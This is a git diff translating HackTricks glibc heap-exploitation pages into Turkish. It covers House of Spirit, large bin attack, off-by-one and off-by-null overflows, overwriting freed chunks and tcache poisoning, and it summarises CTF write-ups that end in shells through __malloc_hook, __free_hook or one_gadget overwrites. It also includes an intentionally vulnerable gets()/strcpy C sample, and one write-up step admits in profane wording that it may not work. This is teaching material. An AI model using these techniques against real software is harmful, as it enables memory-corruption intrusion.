oluşturmak mümkündür, ardından bir "mesaj"ı kötüye kullanarak bir parçanın ikinci boyutunu sahtelemek ve nihayetinde bir taşmayı kötüye kullanarak serbest bırakılacak bir işaretçiyi değiştirmek mümkündür, böylece ilk sahte parçamız serbest bırakılır. Sonra, bunu tahsis edebiliriz ve içinde "mesaj"ın saklandığı adres olacak. Ardından, bunun GOT tablosundaki `scanf` girişine işaret etmesi mümkündür, böylece bunu sistemin adresi ile üzerine yazabiliriz.\ +Bir sonraki `scanf` çağrıldığında, girdi olarak `"/bin/sh"` gönderebiliriz ve bir shell alabiliriz. - [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/) - - **Glibc leak**: Uninitialized stack buffer. - - **House of Spirit**: We can modify the first index of a global array of heap pointers. With a single byte modification, we use `free` on a fake chunk inside a valid chunk, so that we get an overlapping chunks situation after allocating again. With that, a simple Tcache poisoning attack works to get an arbitrary write primitive. +- **Glibc leak**: Başlatılmamış yığın tamponu. +- **House of Spirit**: Bir yığın işaretçileri kümesinin ilk indeksini değiştirebiliriz. Tek bir bayt değişikliği ile, geçerli bir parçanın içinde sahte bir parçayı `free` ile kullanarak, tekrar tahsis ettikten sonra üst üste binen parçalar durumu elde ederiz. Bununla, basit bir Tcache zehirleme saldırısı, keyfi bir yazma ilkesini elde etmek için çalışır. -## References +## Referanslar - [https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit) diff --git a/src/binary-exploitation/libc-heap/large-bin-attack.md b/src/binary-exploitation/libc-heap/large-bin-attack.md index fb8a721c9..18aabed95 100644 --- a/src/binary-exploitation/libc-heap/large-bin-attack.md +++ b/src/binary-exploitation/libc-heap/large-bin-attack.md @@ -2,57 +2,55 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -For more information about what is a large bin check this page: +Büyük bin nedir hakkında daha fazla bilgi için bu sayfayı kontrol edin: {{#ref}} bins-and-memory-allocations.md {{#endref}} -It's possible to find a great example in [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c). +[**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c) içinde harika bir örnek bulmak mümkündür. -Basically here you can see how, in the latest "current" version of glibc (2.35), it's not checked: **`P->bk_nextsize`** allowing to modify an arbitrary address with the value of a large bin chunk if certain conditions are met. +Temelde burada, glibc'nin en son "güncel" sürümünde (2.35) kontrol edilmediğini görebilirsiniz: **`P->bk_nextsize`**, belirli koşullar sağlandığında büyük bir bin parçasının değeri ile rastgele bir adresi değiştirmeye olanak tanır. -In that example you can find the following conditions: +Bu örnekte aşağıdaki koşulları bulabilirsiniz: -- A large chunk is allocated -- A large chunk smaller than the first one but in the same index is allocated - - Must be smalled so in the bin it must go first -- (A chunk to prevent merging with the top chunk is created) -- Then, the first large chunk is freed and a new chunk bigger than it is allocated -> Chunk1 goes to the large bin -- Then, the second large chunk is freed -- Now, the vulnerability: The attacker can modify `chunk1->bk_nextsize` to `[target-0x20]` -- Then, a larger chunk than chunk 2 is allocated, so chunk2 is inserted in the large bin overwriting the address `chunk1->bk_nextsize->fd_nextsize` with the address of chunk2 +- Büyük bir parça tahsis edilir +- İlkinden daha küçük ama aynı indekste bir büyük parça tahsis edilir +- Bin içinde ilk gitmesi gerektiği için daha küçük olmalıdır +- (Üst parçayla birleştirmeyi önlemek için bir parça oluşturulur) +- Ardından, ilk büyük parça serbest bırakılır ve ondan daha büyük yeni bir parça tahsis edilir -> Chunk1 büyük bin'e gider +- Sonra, ikinci büyük parça serbest bırakılır +- Şimdi, zafiyet: Saldırgan `chunk1->bk_nextsize`'ı `[target-0x20]` olarak değiştirebilir +- Ardından, chunk 2'den daha büyük bir parça tahsis edilir, böylece chunk2 büyük bin'e eklenir ve `chunk1->bk_nextsize->fd_nextsize` adresini chunk2'nin adresi ile üzerine yazar > [!TIP] -> There are other potential scenarios, the thing is to add to the large bin a chunk that is **smaller** than a current X chunk in the bin, so it need to be inserted just before it in the bin, and we need to be able to modify X's **`bk_nextsize`** as thats where the address of the smaller chunk will be written to. - -This is the relevant code from malloc. Comments have been added to understand better how the address was overwritten: +> Diğer potansiyel senaryolar vardır, mesele büyük bin'e mevcut bir X parçasından **daha küçük** bir parça eklemektir, böylece bin içinde onun hemen öncesine yerleştirilmesi gerekir ve X'in **`bk_nextsize`**'ını değiştirebilmemiz gerekir çünkü daha küçük parçanın adresi buraya yazılacaktır. +Bu malloc'tan ilgili kod. Adresin nasıl üzerine yazıldığını daha iyi anlamak için yorumlar eklenmiştir: ```c /* if smaller than smallest, bypass loop below */ assert (chunk_main_arena (bck->bk)); if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) - { - fwd = bck; // fwd = p1 - bck = bck->bk; // bck = p1->bk +{ +fwd = bck; // fwd = p1 +bck = bck->bk; // bck = p1->bk - victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk) - victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize - fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2 - } +victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk) +victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize +fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2 +} ``` +Bu, **libc'nin `global_max_fast` global değişkenini** geçersiz kılmak için kullanılabilir, böylece daha büyük parçalarla hızlı bin saldırısını istismar edebilirsiniz. -This could be used to **overwrite the `global_max_fast` global variable** of libc to then exploit a fast bin attack with larger chunks. +Bu saldırının başka bir harika açıklamasını [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html) adresinde bulabilirsiniz. -You can find another great explanation of this attack in [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html). - -### Other examples +### Diğer örnekler - [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/) - - Large bin attack in the same situation as it appears in [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c). - - The write primitive is more complex, because `global_max_fast` is useless here. - - FSOP is needed to finish the exploit. +- [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c) adresinde göründüğü gibi aynı durumda büyük bin saldırısı. +- Yazma primi daha karmaşıktır, çünkü `global_max_fast` burada işe yaramaz. +- İstismarı tamamlamak için FSOP gereklidir. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/off-by-one-overflow.md b/src/binary-exploitation/libc-heap/off-by-one-overflow.md index 000044db5..f777efa6f 100644 --- a/src/binary-exploitation/libc-heap/off-by-one-overflow.md +++ b/src/binary-exploitation/libc-heap/off-by-one-overflow.md @@ -2,114 +2,112 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -Having just access to a 1B overflow allows an attacker to modify the `size` field from the next chunk. This allows to tamper which chunks are actually freed, potentially generating a chunk that contains another legit chunk. The exploitation is similar to [double free](double-free.md) or overlapping chunks. +Sadece 1B taşma erişimine sahip olmak, bir saldırganın bir sonraki parça için `size` alanını değiştirmesine olanak tanır. Bu, hangi parçaların gerçekten serbest bırakıldığını manipüle etmeyi sağlar ve potansiyel olarak başka bir geçerli parçayı içeren bir parça oluşturabilir. Sömürü, [double free](double-free.md) veya üst üste binen parçalarla benzerdir. -There are 2 types of off by one vulnerabilities: +İki tür off by one zafiyeti vardır: -- Arbitrary byte: This kind allows to overwrite that byte with any value -- Null byte (off-by-null): This kind allows to overwrite that byte only with 0x00 - - A common example of this vulnerability can be seen in the following code where the behavior of `strlen` and `strcpy` is inconsistent, which allows set a 0x00 byte in the beginning of the next chunk. - - This can be expoited with the [House of Einherjar](house-of-einherjar.md). - - If using Tcache, this can be leveraged to a [double free](double-free.md) situation. +- Keyfi byte: Bu tür, o byte'ı herhangi bir değerle yazmayı sağlar. +- Null byte (off-by-null): Bu tür, o byte'ı yalnızca 0x00 ile yazmayı sağlar. +- Bu zafiyetin yaygın bir örneği, `strlen` ve `strcpy` davranışlarının tutarsız olduğu aşağıdaki kodda görülebilir; bu, bir sonraki parçanın başında 0x00 byte'ı ayarlamaya olanak tanır. +- Bu, [House of Einherjar](house-of-einherjar.md) ile sömürülebilir. +- Tcache kullanılıyorsa, bu bir [double free](double-free.md) durumuna dönüştürülebilir.
Off-by-null - ```c // From https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/ int main(void) { - char buffer[40]=""; - void *chunk1; - chunk1 = malloc(24); - puts("Get Input"); - gets(buffer); - if(strlen(buffer)==24) - { - strcpy(chunk1,buffer); - } - return 0; +char buffer[40]=""; +void *chunk1; +chunk1 = malloc(24); +puts("Get Input"); +gets(buffer); +if(strlen(buffer)==24) +{ +strcpy(chunk1,buffer); +} +return 0; } ``` -
-Among other checks, now whenever a chunk is free the previous size is compared with the size configured in the metadata's chunk, making this attack fairly complex from version 2.28. +Diğer kontrollerin yanı sıra, artık bir parça serbest bırakıldığında, önceki boyut, meta verilerin parçasında yapılandırılan boyutla karşılaştırılmaktadır; bu da bu saldırıyı 2.28 sürümünden itibaren oldukça karmaşık hale getirmektedir. -### Code example: +### Kod örneği: - [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c) -- This attack is no longer working due to the use of Tcaches. - - Moreover, if you try to abuse it using larger chunks (so tcaches aren't involved), you will get the error: `malloc(): invalid next size (unsorted)` +- Bu saldırı artık Tcaches kullanımı nedeniyle çalışmamaktadır. +- Ayrıca, daha büyük parçaları kullanarak bunu kötüye kullanmaya çalışırsanız (bu durumda tcaches dahil değildir), `malloc(): invalid next size (unsorted)` hatasını alırsınız. -### Goal +### Amaç -- Make a chunk be contained inside another chunk so writing access over that second chunk allows to overwrite the contained one +- Bir parçanın başka bir parçanın içinde yer almasını sağlamak, böylece o ikinci parça üzerindeki yazma erişimi, içeridekini geçersiz kılmayı sağlar. -### Requirements +### Gereksinimler -- Off by one overflow to modify the size metadata information +- Boyut meta verisi bilgisini değiştirmek için off by one overflow. -### General off-by-one attack +### Genel off-by-one saldırısı -- Allocate three chunks `A`, `B` and `C` (say sizes 0x20), and another one to prevent consolidation with the top-chunk. -- Free `C` (inserted into 0x20 Tcache free-list). -- Use chunk `A` to overflow on `B`. Abuse off-by-one to modify the `size` field of `B` from 0x21 to 0x41. -- Now we have `B` containing the free chunk `C` -- Free `B` and allocate a 0x40 chunk (it will be placed here again) -- We can modify the `fd` pointer from `C`, which is still free (Tcache poisoning) +- Üç parça `A`, `B` ve `C` (örneğin boyut 0x20) ayırın ve üst parça ile birleştirmeyi önlemek için başka bir parça ayırın. +- `C` parçasını serbest bırakın (0x20 Tcache serbest listeye eklenmiştir). +- `A` parçasını `B` üzerinde taşmak için kullanın. Off-by-one'ı kötüye kullanarak `B`'nin `size` alanını 0x21'den 0x41'e değiştirin. +- Artık `B`, serbest parça `C`'yi içermektedir. +- `B`'yi serbest bırakın ve 0x40 boyutunda bir parça ayırın (buraya tekrar yerleştirilecektir). +- Hala serbest olan `C`'nin `fd` işaretçisini değiştirebiliriz (Tcache zehirlenmesi). -### Off-by-null attack +### Off-by-null saldırısı -- 3 chunks of memory (a, b, c) are reserved one after the other. Then the middle one is freed. The first one contains an off by one overflow vulnerability and the attacker abuses it with a 0x00 (if the previous byte was 0x10 it would make he middle chunk indicate that it’s 0x10 smaller than it really is). -- Then, 2 more smaller chunks are allocated in the middle freed chunk (b), however, as `b + b->size` never updates the c chunk because the pointed address is smaller than it should. -- Then, b1 and c gets freed. As `c - c->prev_size` still points to b (b1 now), both are consolidated in one chunk. However, b2 is still inside in between b1 and c. -- Finally, a new malloc is performed reclaiming this memory area which is actually going to contain b2, allowing the owner of the new malloc to control the content of b2. +- 3 bellek parçası (a, b, c) ardışık olarak ayrılır. Ardından ortadaki parça serbest bırakılır. İlk parça bir off by one overflow açığı içerir ve saldırgan bunu 0x00 ile kötüye kullanır (önceki byte 0x10 olsaydı, ortadaki parça gerçekte olduğundan 0x10 daha küçük olduğunu gösterirdi). +- Ardından, ortada serbest bırakılan parçaya (b) 2 tane daha küçük parça ayrılır, ancak `b + b->size` asla c parçasını güncellemez çünkü işaret edilen adres olması gerekenin altındadır. +- Ardından, b1 ve c serbest bırakılır. `c - c->prev_size` hala b'ye (şimdi b1) işaret ettiğinden, her ikisi de tek bir parçada birleştirilir. Ancak, b2 hala b1 ve c arasında kalır. +- Son olarak, bu bellek alanını geri almak için yeni bir malloc gerçekleştirilir; bu alan aslında b2'yi içerecek ve yeni malloc'un sahibi b2'nin içeriğini kontrol edebilecektir. -This image explains perfectly the attack: +Bu resim saldırıyı mükemmel bir şekilde açıklamaktadır:

https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks

-## Other Examples & References +## Diğer Örnekler ve Referanslar - [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks) - [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/) - - Off-by-one because of `strlen` considering the next chunk's `size` field. - - Tcache is being used, so a general off-by-one attacks works to get an arbitrary write primitive with Tcache poisoning. +- `strlen`'in bir sonraki parçanın `size` alanını dikkate alması nedeniyle off-by-one. +- Tcache kullanılıyor, bu nedenle genel bir off-by-one saldırısı, Tcache zehirlenmesi ile keyfi yazma ilkesini elde etmek için çalışır. - [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#1-asis-ctf-2016-b00ks) - - It's possible to abuse an off by one to leak an address from the heap because the byte 0x00 of the end of a string being overwritten by the next field. - - Arbitrary write is obtained by abusing the off by one write to make the pointer point to another place were a fake struct with fake pointers will be built. Then, it's possible to follow the pointer of this struct to obtain arbitrary write. - - The libc address is leaked because if the heap is extended using mmap, the memory allocated by mmap has a fixed offset from libc. - - Finally the arbitrary write is abused to write into the address of \_\_free_hook with a one gadget. +- Off by one'ı, bir adresi heap'ten sızdırmak için kötüye kullanmak mümkündür çünkü bir dizeyi geçersiz kılarken sonundaki 0x00 byte'ı bir sonraki alan tarafından geçersiz kılınır. +- Keyfi yazma, işaretçiyi başka bir yere işaret edecek şekilde off by one yazmayı kötüye kullanarak elde edilir; burada sahte işaretçilerle sahte bir yapı oluşturulacaktır. Ardından, bu yapının işaretçisini takip ederek keyfi yazma elde etmek mümkündür. +- libc adresi sızdırılır çünkü heap mmap kullanılarak genişletildiğinde, mmap tarafından tahsis edilen bellek libc'den sabit bir ofsetle gelir. +- Son olarak, keyfi yazma, `__free_hook` adresine bir gadget ile yazmak için kötüye kullanılır. - [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#instance-2-plaidctf-2015-plaiddb) - - There is a NULL off by one vulnerability in the `getline` function that reads user input lines. This function is used to read the "key" of the content and not the content. - - In the writeup 5 initial chunks are created: - - chunk1 (0x200) - - chunk2 (0x50) - - chunk5 (0x68) - - chunk3 (0x1f8) - - chunk4 (0xf0) - - chunk defense (0x400) to avoid consolidating with top chunk - - Then chunk 1, 5 and 3 are freed, so: - - ```python - [ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] - ``` - - Then abusing chunk3 (0x1f8) the null off-by-one is abused writing the prev_size to `0x4e0`. - - Note how the sizes of the initially allocated chunks1, 2, 5 and 3 plus the headers of 4 of those chunks equals to `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0` - - Then, chunk 4 is freed, generating a chunk that consumes all the chunks till the beginning: - - ```python - [ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ] - ``` - - ```python - [ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] - ``` - - Then, `0x200` bytes are allocated filling the original chunk 1 - - And another 0x200 bytes are allocated and chunk2 is destroyed and therefore there isn't no fucking leak and this doesn't work? Maybe this shouldn't be done - - Then, it allocates another chunk with 0x58 "a"s (overwriting chunk2 and reaching chunk5) and modifies the `fd` of the fast bin chunk of chunk5 pointing it to `__malloc_hook` - - Then, a chunk of 0x68 is allocated so the fake fast bin chunk in `__malloc_hook` is the following fast bin chunk - - Finally, a new fast bin chunk of 0x68 is allocated and `__malloc_hook` is overwritten with a `one_gadget` address +- Kullanıcı girişi satırlarını okuyan `getline` fonksiyonunda bir NULL off by one açığı vardır. Bu fonksiyon, içeriğin "anahtarını" okumak için kullanılır, içeriği değil. +- Yazımda 5 başlangıç parçası oluşturulur: +- chunk1 (0x200) +- chunk2 (0x50) +- chunk5 (0x68) +- chunk3 (0x1f8) +- chunk4 (0xf0) +- üst parça ile birleştirmeyi önlemek için parça savunması (0x400) +- Ardından parça 1, 5 ve 3 serbest bırakılır, böylece: +- ```python +[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] +``` +- Ardından, chunk3 (0x1f8) kötüye kullanılarak null off-by-one, `prev_size`'i `0x4e0` olarak yazmak için kötüye kullanılır. +- Başlangıçta tahsis edilen chunk1, 2, 5 ve 3'ün boyutlarının yanı sıra bu parçaların 4 başlıklarının toplamının `0x4e0`'a eşit olduğunu not edin: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0` +- Ardından, parça 4 serbest bırakılır ve başlangıca kadar tüm parçaları tüketen bir parça oluşturur: +- ```python +[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ] +``` +- ```python +[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] +``` +- Ardından, `0x200` byte ayrılır ve orijinal parça 1 doldurulur. +- Ve başka bir 0x200 byte ayrılır ve chunk2 yok edilir, bu nedenle hiçbir sızıntı yoktur ve bu çalışmaz mı? Belki de bu yapılmamalı. +- Ardından, 0x58 "a" ile başka bir parça ayrılır (chunk2'yi geçersiz kılar ve chunk5'e ulaşır) ve chunk5'in hızlı bin parçasının `fd`'sini `__malloc_hook`'a işaret edecek şekilde değiştirir. +- Ardından, 0x68 boyutunda bir parça ayrılır, böylece `__malloc_hook` içindeki sahte hızlı bin parçası bir sonraki hızlı bin parçası olur. +- Son olarak, 0x68 boyutunda yeni bir hızlı bin parçası ayrılır ve `__malloc_hook` bir `one_gadget` adresi ile geçersiz kılınır. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md b/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md index 117f462b6..16a9d4a5e 100644 --- a/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md +++ b/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md @@ -1,23 +1,23 @@ -# Overwriting a freed chunk +# Serbest bırakılmış bir parçayı üst üste yazma {{#include ../../banners/hacktricks-training.md}} -Several of the proposed heap exploitation techniques need to be able to overwrite pointers inside freed chunks. The goal of this page is to summarise the potential vulnerabilities that could grant this access: +Önerilen yığın istismar tekniklerinin birçoğu, serbest bırakılmış parçalardaki işaretçileri üst üste yazabilme yeteneğine ihtiyaç duyar. Bu sayfanın amacı, bu erişimi sağlayabilecek potansiyel güvenlik açıklarını özetlemektir: -### Simple Use After Free +### Basit Kullanım Sonrası Serbest Bırakma -If it's possible for the attacker to **write info in a free chunk**, they could abuse this to overwrite the needed pointers. +Saldırganın **serbest bir parçaya bilgi yazması** mümkünse, bunu gerekli işaretçileri üst üste yazmak için kötüye kullanabilir. -### Double Free +### Çift Serbest Bırakma -If the attacker can **`free` two times the same chunk** (free other chunks in between potentially) and make it be **2 times in the same bin**, it would be possible for the user to **allocate the chunk later**, **write the needed pointers** and then **allocate it again** triggering the actions of the chunk being allocated (e.g. fast bin attack, tcache attack...) +Eğer saldırgan **aynı parçayı iki kez `free`** edebilirse (potansiyel olarak araya başka parçalar serbest bırakılarak) ve bu parçayı **aynı kutuya 2 kez ekleyebilirse**, kullanıcı **parçayı daha sonra ayırabilir**, **gerekli işaretçileri yazabilir** ve ardından **tekrar ayırabilir**, bu da parçanın ayrılma eylemlerini tetikler (örneğin, hızlı kutu saldırısı, tcache saldırısı...) -### Heap Overflow +### Yığın Taşması -It might be possible to **overflow an allocated chunk having next a freed chunk** and modify some headers/pointers of it. +**Serbest bırakılmış bir parçanın yanında ayrılmış bir parçayı taşmak** mümkün olabilir ve bunun bazı başlıklarını/işaretçilerini değiştirebilir. -### Off-by-one overflow +### Bir fazladan taşma -In this case it would be possible to **modify the size** of the following chunk in memory. An attacker could abuse this to **make an allocated chunk have a bigger size**, then **`free`** it, making the chunk been **added to a bin of a different** size (bigger), then allocate the **fake size**, and the attack will have access to a **chunk with a size which is bigger** than it really is, **granting therefore an overlapping chunks situation**, which is exploitable the same way to a **heap overflow** (check previous section). +Bu durumda, bellek içindeki bir sonraki parçanın **boyutunu değiştirmek** mümkün olacaktır. Bir saldırgan bunu **ayrılmış bir parçanın daha büyük bir boyuta sahip olmasını sağlamak** için kötüye kullanabilir, ardından **`free`** edebilir, bu da parçanın **farklı bir boyutun** kutusuna eklenmesine neden olur (daha büyük), ardından **sahte boyutu** ayırabilir ve saldırı, gerçekten olduğundan **daha büyük bir boyuta sahip bir parçaya** erişim sağlayacaktır, bu da **üst üste binen parçalar durumu** oluşturur, bu da **yığın taşması** ile aynı şekilde istismar edilebilir (önceki bölüme bakın). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/tcache-bin-attack.md b/src/binary-exploitation/libc-heap/tcache-bin-attack.md index 7c69db95c..7d061a62d 100644 --- a/src/binary-exploitation/libc-heap/tcache-bin-attack.md +++ b/src/binary-exploitation/libc-heap/tcache-bin-attack.md @@ -2,46 +2,46 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -For more information about what is a Tcache bin check this page: +Tcache bin nedir hakkında daha fazla bilgi için bu sayfayı kontrol edin: {{#ref}} bins-and-memory-allocations.md {{#endref}} -First of all, note that the Tcache was introduced in Glibc version 2.26. +Öncelikle, Tcache'in Glibc sürüm 2.26'da tanıtıldığını unutmayın. -The **Tcache attack** (also known as **Tcache poisoning**) proposed in the [**guyinatuxido page**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) is very similar to the fast bin attack where the goal is to overwrite the pointer to the next chunk in the bin inside a freed chunk to an arbitrary address so later it's possible to **allocate that specific address and potentially overwrite pointes**. +**Tcache saldırısı** (aynı zamanda **Tcache zehirlenmesi** olarak da bilinir) [**guyinatuxido sayfasında**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) önerilen, bir hızlı bin saldırısına çok benzer; burada amaç, serbest bırakılmış bir parçadaki bin içindeki bir sonraki parçanın işaretçisini rastgele bir adrese yazmaktır, böylece daha sonra **o belirli adresi ayırmak ve potansiyel olarak işaretçileri yazmak** mümkündür. -However, nowadays, if you run the mentioned code you will get the error: **`malloc(): unaligned tcache chunk detected`**. So, it's needed to write as address in the new pointer an aligned address (or execute enough times the binary so the written address is actually aligned). +Ancak, günümüzde, belirtilen kodu çalıştırırsanız, **`malloc(): unaligned tcache chunk detected`** hatasını alırsınız. Bu nedenle, yeni işaretçide yazılacak adresin hizalanmış bir adres olması gerekmektedir (veya yazılan adresin gerçekten hizalanmış olması için ikiliyi yeterince kez çalıştırmak). -### Tcache indexes attack +### Tcache indeksleri saldırısı -Usually it's possible to find at the beginning of the heap a chunk containing the **amount of chunks per index** inside the tcache and the address to the **head chunk of each tcache index**. If for some reason it's possible to modify this information, it would be possible to **make the head chunk of some index point to a desired address** (like `__malloc_hook`) to then allocated a chunk of the size of the index and overwrite the contents of `__malloc_hook` in this case. +Genellikle, yığın başlangıcında tcache içindeki **indeks başına parça sayısını** ve **her tcache indeksinin baş parçasının adresini** içeren bir parça bulmak mümkündür. Eğer bu bilgiyi değiştirmek mümkün olursa, **bazı indekslerin baş parçasını istenen bir adrese** (örneğin `__malloc_hook`) işaret edecek şekilde ayarlamak mümkün olacaktır, böylece indeks boyutunda bir parça ayırabilir ve bu durumda `__malloc_hook` içeriğini yazabiliriz. -## Examples +## Örnekler - CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html) - - **Libc info leak**: It's possible to fill the tcaches, add a chunk into the unsorted list, empty the tcache and **re-allocate the chunk from the unsorted bin** only overwriting the first 8B, leaving the **second address to libc from the chunk intact so we can read it**. - - **Tcache attack**: The binary is vulnerable a 1B heap overflow. This will be abuse to change the **size header** of an allocated chunk making it bigger. Then, this chunk will be **freed**, adding it to the tcache of chunks of the fake size. Then, we will allocate a chunk with the faked size, and the previous chunk will be **returned knowing that this chunk was actually smaller** and this grants up the opportunity to **overwrite the next chunk in memory**.\ - We will abuse this to **overwrite the next chunk's FD pointer** to point to **`malloc_hook`**, so then its possible to alloc 2 pointers: first the legit pointer we just modified, and then the second allocation will return a chunk in **`malloc_hook`** that it's possible to abuse to write a **one gadget**. +- **Libc bilgi sızıntısı**: Tcache'leri doldurmak, düzensiz listeye bir parça eklemek, tcache'i boşaltmak ve **düzensiz bin'den parçayı yeniden ayırmak** mümkündür; sadece ilk 8B'yi yazarak, parçanın **ikinci adresini libc'den sağlam tutarak okuyabiliriz**. +- **Tcache saldırısı**: İkili, 1B yığın taşması için savunmasızdır. Bu, bir ayrılmış parçanın **boyut başlığını** değiştirerek daha büyük hale getirmek için kullanılacaktır. Ardından, bu parça **serbest bırakılacak**, sahte boyutun tcache'ine eklenecektir. Sonra, sahte boyutta bir parça ayıracağız ve önceki parça **bu parçanın aslında daha küçük olduğunu bilerek dönecektir** ve bu, **bellekteki bir sonraki parçayı yazma fırsatını sağlar**.\ +Bunu, **bir sonraki parçanın FD işaretçisini** **`malloc_hook`**'a işaret edecek şekilde yazmak için kullanacağız, böylece iki işaretçi ayırmak mümkün olacaktır: önce değiştirdiğimiz geçerli işaretçi, ardından ikinci ayırma **`malloc_hook`**'ta bir parça döndürecektir; bu, bir **one gadget** yazmak için istismar edilebilir. - CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html) - - **Libc info leak**: There is a use after free and a double free. In this writeup the author leaked an address of libc by readnig the address of a chunk placed in a small bin (like leaking it from the unsorted bin but from the small one) - - **Tcache attack**: A Tcache is performed via a **double free**. The same chunk is freed twice, so inside the Tcache the chunk will point to itself. Then, it's allocated, its FD pointer is modified to point to the **free hook** and then it's allocated again so the next chunk in the list is going to be in the free hook. Then, this is also allocated and it's possible to write a the address of `system` here so when a malloc containing `"/bin/sh"` is freed we get a shell. +- **Libc bilgi sızıntısı**: Bir serbest bırakma sonrası kullanım ve çift serbest bırakma vardır. Bu yazımda yazar, küçük bir bin içinde yer alan bir parçanın adresini okuyarak libc'nin bir adresini sızdırdı (düzensiz bin'den sızdırmak gibi ama küçük olanından). +- **Tcache saldırısı**: Bir Tcache, **çift serbest bırakma** yoluyla gerçekleştirilir. Aynı parça iki kez serbest bırakılır, bu nedenle Tcache içinde parça kendisine işaret eder. Ardından, ayrılır, FD işaretçisi **serbest bırakma kancası**'na işaret edecek şekilde değiştirilir ve sonra tekrar ayrılır, böylece listedeki bir sonraki parça serbest bırakma kancasında olacaktır. Ardından, bu da ayrılır ve burada `system` adresini yazmak mümkündür, böylece `"/bin/sh"` içeren bir malloc serbest bırakıldığında bir shell alırız. - CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html) - - The main vuln here is the capacity to `free` any address in the heap by indicating its offset - - **Tcache indexes attack**: It's possible to allocate and free a chunk of a size that when stored inside the tcache chunk (the chunk with the info of the tcache bins) will generate an **address with the value 0x100**. This is because the tcache stores the amount of chunks on each bin in different bytes, therefore one chunk in one specific index generates the value 0x100. - - Then, this value looks like there is a chunk of size 0x100. Allowing to abuse it by `free` this address. This will **add that address to the index of chunks of size 0x100 in the tcache**. - - Then, **allocating** a chunk of size **0x100**, the previous address will be returned as a chunk, allowing to overwrite other tcache indexes.\ - For example putting the address of malloc hook in one of them and allocating a chunk of the size of that index will grant a chunk in calloc hook, which allows for writing a one 